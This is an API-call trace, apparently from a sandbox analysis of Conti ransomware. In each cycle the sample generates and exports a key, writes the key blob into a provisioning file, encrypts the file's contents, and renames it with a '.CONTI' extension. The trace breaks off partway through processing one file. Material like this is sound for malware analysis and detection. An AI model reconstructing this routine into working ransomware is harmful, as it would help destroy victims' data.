	[0109.773] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.773] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\257__connections_cellular_digi (malaysia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\257__Connections_Cellular_DiGi (Malaysia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\257__connections_cellular_digi (malaysia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.774] GetProcessHeap () returned 0x1720000
	[0109.774] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.774] CryptDestroyKey (hKey=0x6b7f4f8) returned 1
	[0109.774] GetProcessHeap () returned 0x1720000
	[0109.774] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b72370 | out: hHeap=0x1720000) returned 1
	[0109.774] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0109.774] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b419a8 | out: phKey=0x6b419a8*=0x6b7f3b8) returned 1
	[0109.774] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b419ac, pdwDataLen=0x4e7fc24 | out: pbData=0x6b419ac*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0109.775] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\258__connections_cellular_digi (malaysia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0109.775] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\258__connections_cellular_digi (malaysia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0109.776] GetLastError () returned 0x0
	[0109.776] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=640) returned 1
	[0109.776] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x280
	[0109.776] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.776] SetEndOfFile (hFile=0x30c) returned 1
	[0109.776] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.776] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.776] WriteFile (in: hFile=0x30c, lpBuffer=0x6b419ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b419ac*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0109.778] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.778] ReadFile (in: hFile=0x30c, lpBuffer=0xe470000, nNumberOfBytesToRead=0x280, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x280, lpOverlapped=0x0) returned 1
	[0109.778] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x280, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x290) returned 1
	[0109.778] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.778] WriteFile (in: hFile=0x30c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x290, lpOverlapped=0x0) returned 1
	[0109.778] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.778] WriteFile (in: hFile=0x30c, lpBuffer=0x6b419a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b419a0*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0109.779] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.779] CloseHandle (hObject=0x30c) returned 1
	[0109.779] GetProcessHeap () returned 0x1720000
	[0109.779] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.779] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml"
	[0109.779] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml.CONTI"
	[0109.779] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\258__connections_cellular_digi (malaysia)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\258__Connections_Cellular_DiGi (Malaysia)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\258__connections_cellular_digi (malaysia)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0109.779] GetProcessHeap () returned 0x1720000
	[0109.780] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.780] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0109.780] GetProcessHeap () returned 0x1720000
	[0109.780] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b71410 | out: hHeap=0x1720000) returned 1
	[0109.780] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0109.780] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b43750 | out: phKey=0x6b43750*=0x6b7f1f8) returned 1
	[0109.780] CryptExportKey (in: hKey=0x6b7f1f8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b43754, pdwDataLen=0x4e7fc24 | out: pbData=0x6b43754*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0109.781] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\259__connections_cellular_maxis (malaysia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.781] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\259__connections_cellular_maxis (malaysia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0109.781] GetLastError () returned 0x0
	[0109.781] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=700) returned 1
	[0109.781] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2bc
	[0109.781] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.781] SetEndOfFile (hFile=0x30c) returned 1
	[0109.781] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.781] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.781] WriteFile (in: hFile=0x30c, lpBuffer=0x6b43754*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b43754*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0109.783] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.783] ReadFile (in: hFile=0x30c, lpBuffer=0xe470000, nNumberOfBytesToRead=0x2bc, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x2bc, lpOverlapped=0x0) returned 1
	[0109.783] CryptEncrypt (in: hKey=0x6b7f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2bc, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x2c0) returned 1
	[0109.783] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.783] WriteFile (in: hFile=0x30c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x2c0, lpOverlapped=0x0) returned 1
	[0109.783] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.783] WriteFile (in: hFile=0x30c, lpBuffer=0x6b43748*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b43748*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0109.783] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.783] CloseHandle (hObject=0x30c) returned 1
	[0109.784] GetProcessHeap () returned 0x1720000
	[0109.784] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.784] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml"
	[0109.784] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.784] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\259__connections_cellular_maxis (malaysia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\259__Connections_Cellular_Maxis (Malaysia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\259__connections_cellular_maxis (malaysia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.784] GetProcessHeap () returned 0x1720000
	[0109.784] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.784] CryptDestroyKey (hKey=0x6b7f1f8) returned 1
	[0109.784] GetProcessHeap () returned 0x1720000
	[0109.784] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b724b8 | out: hHeap=0x1720000) returned 1
	[0109.784] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0109.785] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b42758 | out: phKey=0x6b42758*=0x6b7f638) returned 1
	[0109.785] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4275c, pdwDataLen=0x4e7fc24 | out: pbData=0x6b4275c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0109.785] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\25__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0109.785] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\25__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0109.786] GetLastError () returned 0x0
	[0109.786] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=480) returned 1
	[0109.786] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0109.786] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.786] SetEndOfFile (hFile=0x30c) returned 1
	[0109.787] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.787] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.787] WriteFile (in: hFile=0x30c, lpBuffer=0x6b4275c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b4275c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0109.788] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.789] ReadFile (in: hFile=0x30c, lpBuffer=0xe470000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x1e0, lpOverlapped=0x0) returned 1
	[0109.789] CryptEncrypt (in: hKey=0x6b7f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1e0, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1f0) returned 1
	[0109.789] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.789] WriteFile (in: hFile=0x30c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x1f0, lpOverlapped=0x0) returned 1
	[0109.789] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.789] WriteFile (in: hFile=0x30c, lpBuffer=0x6b42750*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b42750*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0109.789] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.789] CloseHandle (hObject=0x30c) returned 1
	[0109.789] GetProcessHeap () returned 0x1720000
	[0109.789] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.789] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.789] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0109.789] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\25__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\25__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\25__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0109.790] GetProcessHeap () returned 0x1720000
	[0109.790] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.790] CryptDestroyKey (hKey=0x6b7f638) returned 1
	[0109.790] GetProcessHeap () returned 0x1720000
	[0109.790] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181b6b0 | out: hHeap=0x1720000) returned 1
	[0109.790] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0109.790] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b43078 | out: phKey=0x6b43078*=0x6b7f0b8) returned 1
	[0109.790] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4307c, pdwDataLen=0x4e7fc24 | out: pbData=0x6b4307c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0109.791] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\260__connections_cellular_maxis (malaysia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0109.791] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\260__Connections_Cellular_Maxis (Malaysia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\260__connections_cellular_maxis (malaysia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0109.791] GetLastError () returned 0x0
	[0109.791] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=768) returned 1
	[0109.791] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x300
	[0109.791] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.791] SetEndOfFile (hFile=0x30c) returned 1
	[0109.791] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.791] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
